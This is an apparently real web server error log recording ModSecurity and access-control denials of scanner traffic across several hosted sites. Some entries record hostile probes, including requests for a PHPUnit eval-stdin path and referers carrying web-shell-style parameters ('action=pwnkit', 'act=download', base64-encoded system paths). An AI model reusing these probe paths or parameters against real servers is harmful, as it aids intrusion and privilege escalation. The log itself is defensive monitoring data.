[access_compat:error] [pid 648189:tid 648344] [remote 57.141.14.80:48751] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:38.207188 2026] [access_compat:error] [pid 648189:tid 648344] [remote 57.141.14.80:48751] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:38.348229 2026] [security2:error] [pid 648189:tid 648356] [client 185.177.72.9:47186] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/resources/views/welcome.blade.php"] [unique_id "ai3zmlWSojQL4F7upKB8BQAAAIg"] [Sat Jun 13 18:19:38.393819 2026] [access_compat:error] [pid 646876:tid 646986] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQyL3Bvd2Vy [Sat Jun 13 18:19:38.394082 2026] [access_compat:error] [pid 646876:tid 646986] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQyL3Bvd2Vy [Sat Jun 13 18:19:38.489932 2026] [access_compat:error] [pid 648189:tid 648225] [remote 57.141.14.97:25826] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:38.490365 2026] [access_compat:error] [pid 648189:tid 648225] [remote 57.141.14.97:25826] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:38.503917 2026] [access_compat:error] [pid 648189:tid 648275] [remote 57.141.14.52:47498] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:38.504200 2026] [access_compat:error] [pid 648189:tid 648275] [remote 57.141.14.52:47498] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:38.610100 2026] [security2:error] [pid 648189:tid 648287] [remote 17.22.237.83:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 83.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zmlWSojQL4F7upKB8EgAAzUE"] [Sat Jun 13 18:19:38.864642 2026] [access_compat:error] [pid 646876:tid 646907] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZS9zdWJzeXN0ZW0vbW91c2Ux [Sat Jun 13 18:19:38.864946 2026] [access_compat:error] [pid 646876:tid 646907] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZS9zdWJzeXN0ZW0vbW91c2Ux [Sat Jun 13 18:19:38.915898 2026] [security2:error] [pid 646876:tid 647063] [client 185.177.72.9:47196] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/xdebug.php"] [unique_id "ai3zmtyTkdrNlD40tSG6wwAAADc"] [Sat Jun 13 18:19:38.926384 2026] [access_compat:error] [pid 648189:tid 648316] [remote 57.141.14.107:37557] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:38.926903 2026] [access_compat:error] [pid 648189:tid 648316] [remote 57.141.14.107:37557] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:39.011221 2026] [security2:error] [pid 646876:tid 646898] [remote 17.22.253.145:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 145.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zmtyTkdrNlD40tSG6xAAAcBM"] [Sat Jun 13 18:19:39.055180 2026] [security2:error] [pid 646876:tid 647058] [client 45.86.200.39:32485] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 39.200.86.45.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "canappcocdjuarez.com"] [uri "/about.php"] [unique_id "ai3zm9yTkdrNlD40tSG6xQAAADI"] [Sat Jun 13 18:19:39.078285 2026] [access_compat:error] [pid 648189:tid 648243] [remote 216.73.216.223:23206] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:39.078560 2026] [access_compat:error] [pid 648189:tid 648243] [remote 216.73.216.223:23206] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:39.180776 2026] [security2:error] [pid 648189:tid 648479] [client 185.177.72.9:47198] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/xdebug_info.php"] [unique_id "ai3zm1WSojQL4F7upKB8KwAAAP0"] [Sat Jun 13 18:19:39.285673 2026] [security2:error] [pid 646876:tid 646940] [remote 17.241.75.10:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 10.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zm9yTkdrNlD40tSG6yAAAYj0"] [Sat Jun 13 18:19:39.385950 2026] [access_compat:error] [pid 646876:tid 646904] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9tb3VzZTEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:39.386216 2026] [access_compat:error] [pid 646876:tid 646904] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9tb3VzZTEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:39.440828 2026] [security2:error] [pid 648189:tid 648462] [client 185.177.72.9:47200] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "ai3zm1WSojQL4F7upKB8NgAAAOw"] [Sat Jun 13 18:19:39.709420 2026] [security2:error] [pid 648189:tid 648482] [client 185.177.72.9:47212] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/vendor/symfony/debug/debug.php"] [unique_id "ai3zm1WSojQL4F7upKB8SwAAAQA"] [Sat Jun 13 18:19:39.738704 2026] [access_compat:error] [pid 648189:tid 648335] [remote 57.141.14.64:27568] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:39.739137 2026] [access_compat:error] [pid 648189:tid 648335] [remote 57.141.14.64:27568] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:39.826127 2026] [security2:error] [pid 648189:tid 648336] [remote 17.22.253.83:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 83.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zm1WSojQL4F7upKB8UgAAqHE"] [Sat Jun 13 18:19:39.946448 2026] [access_compat:error] [pid 646876:tid 646886] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?act=download&file=runtime_suspended_time&p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9ldmVudDUvcG93ZXI= [Sat Jun 13 18:19:39.947056 2026] [access_compat:error] [pid 646876:tid 646886] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?act=download&file=runtime_suspended_time&p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9ldmVudDUvcG93ZXI= [Sat Jun 13 18:19:40.041965 2026] [access_compat:error] [pid 646876:tid 646992] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?action=pwnkit&p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9ldmVudDUvcG93ZXI= [Sat Jun 13 18:19:40.043317 2026] [security2:error] [pid 648189:tid 648325] [remote 17.246.15.226:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 226.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3znFWSojQL4F7upKB8YgAAlGY"] [Sat Jun 13 18:19:40.046692 2026] [access_compat:error] [pid 646876:tid 646992] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?action=pwnkit&p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9ldmVudDUvcG93ZXI= [Sat Jun 13 18:19:40.139580 2026] [security2:error] [pid 646876:tid 647013] [client 185.177.72.9:47228] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/vendor/autoload.php"] [unique_id "ai3znNyTkdrNlD40tSG65AAAAAU"] [Sat Jun 13 18:19:40.168455 2026] [security2:error] [pid 646876:tid 646919] [remote 17.22.253.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3znNyTkdrNlD40tSG65wAAMCg"] [Sat Jun 13 18:19:40.205270 2026] [access_compat:error] [pid 648189:tid 648238] [remote 57.141.14.107:37579] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:40.205608 2026] [access_compat:error] [pid 648189:tid 648238] [remote 57.141.14.107:37579] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:40.257417 2026] [access_compat:error] [pid 648189:tid 648329] [remote 57.141.14.18:57530] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:40.257836 2026] [access_compat:error] [pid 648189:tid 648329] [remote 57.141.14.18:57530] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:40.318439 2026] [security2:error] [pid 646876:tid 646977] [remote 17.241.227.105:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 105.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3znNyTkdrNlD40tSG66gAAVWI"] [Sat Jun 13 18:19:40.350973 2026] [access_compat:error] [pid 648189:tid 648247] [remote 57.141.14.110:27238] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:40.351433 2026] [access_compat:error] [pid 648189:tid 648247] [remote 57.141.14.110:27238] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:40.358315 2026] [access_compat:error] [pid 648189:tid 648231] [remote 57.141.14.108:33269] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:40.358581 2026] [access_compat:error] [pid 648189:tid 648231] [remote 57.141.14.108:33269] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:40.375412 2026] [lsapi:warn] [pid 646876:tid 647044] [client 85.199.90.78:45515] [host indoorenvironmentaltesting.com] Backend log: PHP Warning: Trying to access array offset on value of type bool in /home4/indoore1/public_html/wp-content/plugins/real-time-find-and-replace/real-time-find-and-replace.php on line 258\n [Sat Jun 13 18:19:40.495884 2026] [access_compat:error] [pid 646876:tid 647003] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3N1YnN5c3RlbQ== [Sat Jun 13 18:19:40.496148 2026] [access_compat:error] [pid 646876:tid 647003] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3N1YnN5c3RlbQ== [Sat Jun 13 18:19:40.690894 2026] [security2:error] [pid 648189:tid 648481] [client 185.177.72.9:47242] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/test_socket.php"] [unique_id "ai3znFWSojQL4F7upKB8ggAAAP8"] [Sat Jun 13 18:19:40.904874 2026] [access_compat:error] [pid 648189:tid 648275] [remote 57.141.14.59:58741] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:40.905316 2026] [access_compat:error] [pid 648189:tid 648275] [remote 57.141.14.59:58741] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:40.954743 2026] [security2:error] [pid 648189:tid 648321] [remote 17.22.237.252:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 252.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3znFWSojQL4F7upKB8igAAwGI"] [Sat Jun 13 18:19:40.958877 2026] [security2:error] [pid 646876:tid 647070] [client 185.177.72.9:47254] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/testdb.php"] [unique_id "ai3znNyTkdrNlD40tSG69AAAAD4"] [Sat Jun 13 18:19:41.015569 2026] [access_compat:error] [pid 646876:tid 646881] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 